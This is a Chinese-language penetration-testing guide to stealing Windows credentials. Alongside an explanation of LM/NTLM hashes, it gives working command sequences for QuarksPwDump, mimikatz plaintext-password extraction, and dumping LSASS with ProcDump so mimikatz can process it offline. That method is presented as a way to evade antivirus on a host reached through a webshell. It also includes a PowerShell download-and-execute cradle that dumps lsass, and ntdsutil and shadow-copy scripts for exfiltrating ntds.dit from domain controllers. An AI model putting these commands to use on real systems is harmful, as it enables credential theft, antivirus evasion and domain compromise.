关于系统密码抓取

Windows系统:

0x01 windows密码Hash

 

     早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

     NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。

 

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

用户名称为:Administrator

RID为:500

LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE

NT-HASH值为:683020925C5D8569C23AA724774CE6CC

如果你知道这个用户的hash密码了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站。

 

0x02 QuarksPwDump

 

     一般用QuarksPwDump_v0.2b来抓取整个windows系列的密码hash,将得到的hash值在http://www.objectif-securite.ch/ophcrack.php查询。

     QuarksPwDump抓取密码的命令如下:(其他命令可以参考软件说明)

quarkspwdump.exe -dhl

得到的整个HASH值拿去在线破解。

 

0x03 mimikatz

 

1、常用命令介绍

system::user        //查看当前登录的用户
process::list       //列出进程
process::stop processname //结束进程(有些进程结束不了,即使权限够大)
process::suspend  processname //暂停进程
process::modules      //列出系统核心模块和其所在的物理路径
service::list    //列出系统服务
service::stop(start) service_name   //停止(开启)服务
privilege::list   //列出系统权限列表
privilege::debug   /提升权限 (执行这条命令得有足够的权限)
nogpo::cmd  //打开cmd
nogpo::regedit //打开注册表
ts::sessions //显示当前回话
ts::processes  //显示当前进程及其PID
sekurlsa::logonpasswords   //获取当前在线用户的明文密码(需要高权限运行)
lsadump::lsa /patch   //获取当前此计算机存在过用户的NTLMHASH
inject::process lsass.exe '路径' sekurlsa.dll //进程注入(如果用1.0版本获取hash的时候发现sekurlsa模块存在,就可以用进程注入一个dll文件,然后在获取hash)

 

2、利用过程

密码抓取神器mimikatz来测试一下,命令如下:

privilege::debug
sekurlsa::logonpasswords

图示结果如下:

 

有没有发现,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系统密码给取到了。NT-HASH两款软件得到的结果是一样的。

 

     在渗透测试过程中会出现这样得场景,我已经chopper连上对方主机,但是系统默认安装了360安全卫士或其他得安全软件。我上传的mimikatz和QuarksPwDump都被查杀了。也就是说我想利用这两款软件常规思路获取系统的密码HASH已经是不太可能了。其实,我们可以先dump对方主机的LSASS内存文件,然后在自己主机用mimikatz进行处理,这样就可以得到对方主机的系统HASH和密码。

     可以到微软的官方网站下载 ProDump,这个肯定不会引起杀毒软件的报毒和查杀了。

命令如下:

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

图示如下:

 

 

接下来,再演示一下本地用mimikatz进行破解:

首先输入命令:

mimikatz.exe "sekurlsa::minidump lsass.dmp"

接着输入命令:

sekurlsa::logonpasswords

可以看到,能够得到离线得到系统密码,这样就可以在对方主机上绕过杀毒软件的查杀了。

有时候不能还原出明文密码,但是可以得到NTHash,推荐一个破解网站用于尝试破解这个Hash。

https://www.objectif-securite.ch/ophcrack.php

在乌云知识库中也有看到利用PowerShell完成Prodump一样工作的命令。具体命令如下:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"

我在被渗透主机上进行尝试过,发现也是可行的,不过chopper的虚拟终端下会显示错误,实际上已经成功执行Powershell代码。不过总体感觉还是Prodump用起来更加方便。

     Metasploit中也有集成mimkatz的。具体教程可以参考 http://www.offensive-security.com/metasploit-unleashed/Mimikatz

 

0x04 NTDSDump相关

 

受不了NTDSXTract的龟速,于是用quarkspwdump改了个能读取system.hiv的离线版提取工具。

ntds.dit其实就是个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库。

其命令行如下:

ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC]

-f    ntds.dit路径

-k   可选的十六进制格式的SYSKEY

-s    可选的system.hiv路径

-h   导出历史密码记录

-t    导出格式,LC或JOHN

-o   导出到指定文件中

 

SYSKEY实际上就是HKLM\SYSTEM\CurrentControlSet\Control\Lsa下面几个子项的类型信息,可以用RegQueryInfoKey查询出来。

附件里面提供了两个导出工具,getsyskey_c.exe由vc6编译,其源码为getsyskey.cpp,用vc6直接打开编译即可。

getsyskey_cs.exe由.net2.0编译,源码为getsyskey.cs,用csc直接编译即可。

 

已知错误:

JetAttachDatabase() failed

原因:数据库需要修复,执行esentutl /p /o ntds.dit进行修复。

 

下载地址:

ntdsdump

 

另:改完之后又看了看quarkspwdump的github,发现有人提交了个pull request:https://github.com/quarkslab/quarkspwdump/pull/3

其添加了一个加载system.hiv的功能,调用了RegLoadKey。而这个API必须要过UAC才行,所以用起来还是挺别扭的,不如这个直接读取文件进行处理来得痛快。

 

安全脉搏姿势

在2008+域控上使用 ntdsutil snapshot mount导出ntds.dit, SAM以及System ,

ntdsutil
snapshot
activate instance ntds
create
mount {GUID}
copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
unmount {GUID}
quit
quit
然后就是各种copy了

 

在域控上使用 QuarksPwDump.exe 导出绝大部分明文:

QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit

下载回本地再用QuarksPwDump似乎就不行,主要因为本地无法指定SYSTEM文件导致获取不到key

 

附Quarks PWDump使用参数:

quarks-pwdump.exe <options>

       Options :

       -dhl  --dump-hash-local

       -dhdc --dump-hash-domain-cached

       -dhd  --dump-hash-domain (NTDS_FILE must be specified)

       -db   --dump-bitlocker (NTDS_FILE must be specified)

       -nt   --ntds-file FILE

       -hist --with-history (optional)

       -t    --output-type JOHN/LC (optional, if no=>JOHN)

       -o    --output FILE (optional, if no=>stdout)

       Example: quarks-pwdump.exe --dump-hash-domain --with-history

 

当然也可以把ntds.dit, SAM以及System下载回来(很多大内网 ntds就好几G,下载回来不太科学)用某工具解密 不过感觉有点庞大,现在我们可以使用NTDSDump.exe

NTDSDump.exe -f ntds.dit -s SYSTEM -o SecPulseHash.txt

 

 

0x05 ShadowCopy+QuarksPwDump0.3a

1. 使用ShadowCopy的命令行版,编写bat实现拷贝ntds.dit至当前目录.

ShadowCopy.vbs

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

2.修复复制出来的数据库

esentutl /p /o ntds.dit

 

3.使用QuarksPwDump直接读取信息并将结果导出至文件

QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt

 

Tips:

QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process. 
源码下载链接,vs2010直接编译即可 
https://github.com/quarkslab/quarkspwdump

 

坑A:

COM call “m_pVssObject->InitializeForBackup()” failed. 
域控是64位的,你运行的是32位的vshadow.exe。 
解决方法:安装win7 SDK,使用64位的vshadow.exe(可使用在win2008、win2012)(默认位置) “C:\Program Files\Microsoft SDKs\Windows\v6.1\Bin\x64\vsstools\vshadow.exe”

坑B:

源码下载链接,vs2010直接编译即可 
https://github.com/quarkslab/quarkspwdump 
主页上显示的是master,其实还是0.2版本的。 
真实的release地址是(不用编译)QuarksPwDump-0.3a 
作者编译的版本在执行的时候会显示0.2b,此处应该是作者没处理好,不过不影响咱们使用,只要观察是否有-sf参数,即可判断是否是新版。
